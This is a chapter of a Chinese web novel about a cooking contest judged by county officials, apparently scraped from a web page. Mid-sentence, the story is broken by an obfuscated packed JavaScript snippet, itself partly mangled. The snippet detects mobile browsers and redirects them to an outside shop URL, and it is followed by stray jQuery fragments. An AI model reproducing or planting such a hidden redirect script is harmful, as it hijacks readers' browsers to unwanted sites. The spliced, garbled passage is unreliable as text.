45. 蘇來齋(2 / 2)

蘇記美食錄 常穗 6433 字 4個月前

賈三當街強搶少女,一個不悅砸了攤子隻要跟著,隔三差五都能見到。

賈家的店鋪暗裡賤買貴賣,和當地官員勢力勾結都不過冰山一角,羅縣令拿了賄賂,睜一隻眼閉一隻眼充做不知,私底下拐賣少女,運氣好的收進賈府,私底下乾些不為人知的秘密,運氣差的賣入花樓被迫賣身,徹底失了自由身。

因為金銀較少,賈家也從不外露,他看那座宅子,不知道被分為多少塊,竟能塞下那麼多人口。

“宋縣丞此言,也算有理有據。本官隻想著給二位主持公道,失了分寸竟忘了這一茬。”羅縣令眯起眼,兩隻綠豆掛在上邊,瞧不到眼珠子,怪滲人的。

蘇眠雪拜了一拜,“民女謝羅縣令,縣丞大人。”

宋酌微微一笑,嘗了一口叫花雞:“還是熱乎著,快些分下去給大夥都嘗嘗,涼了便沒有現在這般好的味道。”

雞肉被瓜分下去,周圍一圈的都是在廚藝上話語權的,裴攸看了眼冷卻後掛

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188982|130063||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

在肉皮上的油珠子,撇開眼,不接小二送來的肉,被順著遞到下一個人手上。

台瀟毫不客氣,拿大家都能聽到的聲音,小聲說:“味道一般,火候掌握不好,汁水都從肉裡頭跑出去,不夠嫩,也不能脫骨,勉勉強強吧。”

混在人群裡,不等的聲音摻和著,確定不了人是誰,但足夠趙儒黑臉。

嘗過趙儒的菜,宋酌拿清茶漱口去味,倒了三杯茶給羅縣令,賈姨娘和賈三三人,因著是官的緣故,又因為宋酌態度不錯,羅縣令用過,賈姨娘和賈三跟著喝過差,開始品嘗蘇眠雪的菜。

先是牡丹魚片,放得有些久,但還有餘溫,口感酥嫩酸甜可口,外邊澆得醬汁是拿糖醋的醬,魚肉處理得當鮮美。

宋酌嘗過,評價道:“趙東家說是蓮花魚片,但我隻知曉,京城裡酒樓的菜,有道正和兩位東家一般,每次和宋姑娘的一致,都換作牡丹魚片。”

他淺笑,穿得窄袖自有從身上氣息來得文人墨客的儒雅:“不過這道菜民間甚少有,其乃是宮廷的禦菜。

至於京城酒樓為何有,因為一開始的廚子就出自該酒樓,酒樓裡最好的廚子自然都要進宮侍奉,聖上也未下令民間不得做這道菜,隻是民間僅那家酒樓做得,秘方從未透露!”

“兩位東家,是從哪得來的秘方?”

驚訝浮現在麵色,宮廷禦菜她都有所耳聞,隻是這道……思來想去,收起臉上情緒,既然蘇時章給了,那她就能通過京城的這家酒樓找到蘇時章,不乏是一個線索。

“民女是對著書上做得。”

趙儒慌張失措:“這……草民也是對著書上內容做得,不知道是宮裡的菜,還請縣丞大人不計過,往後草民會誡酒樓裡的廚子,不準再出現這道菜。”

宋酌安撫:“兩位不用緊張,你們既然得了這份菜的菜譜,定然是蘇來齋的有緣人。我隻是問問,另外想看看兩位的食譜,這道菜的做法是否正確。”

蘇眠雪問:“蘇來齋,是京城這家酒樓的名字嗎。”

“正是。”

裴攸皺下眉頭,蘇眠雪姓蘇,蘇來齋也是蘇,難不成她和蘇來齋有關係。

壓下心底的疑惑,蘇眠雪爽快答應:“宋大人想看,等比試過後,民女奉上食譜,給大人一閱。”

宋酌果斷行事,沒了悠哉,“大人還有政務需要處理,不如速戰速決,莫要耽擱了。”

羅縣令拂開賈姨娘送來的茶水,夾起一片藕片,果斷選了趙儒的叫花雞。

作為縣令,在鎮上的震懾力不小,除去其他縣裡來湊熱鬨的,還有裴攸這等不把縣令放在眼裡的,裡麵不少人七嘴八舌,一會蘇眠雪,一會趙儒,吵著壓根沒法判斷。

最後宋酌命人拿來紙筆寫在紙上,當著全部人的麵念著紙上翻開的字,一筆一筆落在寫了兩人名字的紙上。

負責寫正字的小吏,在趙儒越來越黑的臉上,公布最後的答案:

“是蘇姑娘……贏了。”

上一頁 書頁/目錄 下一章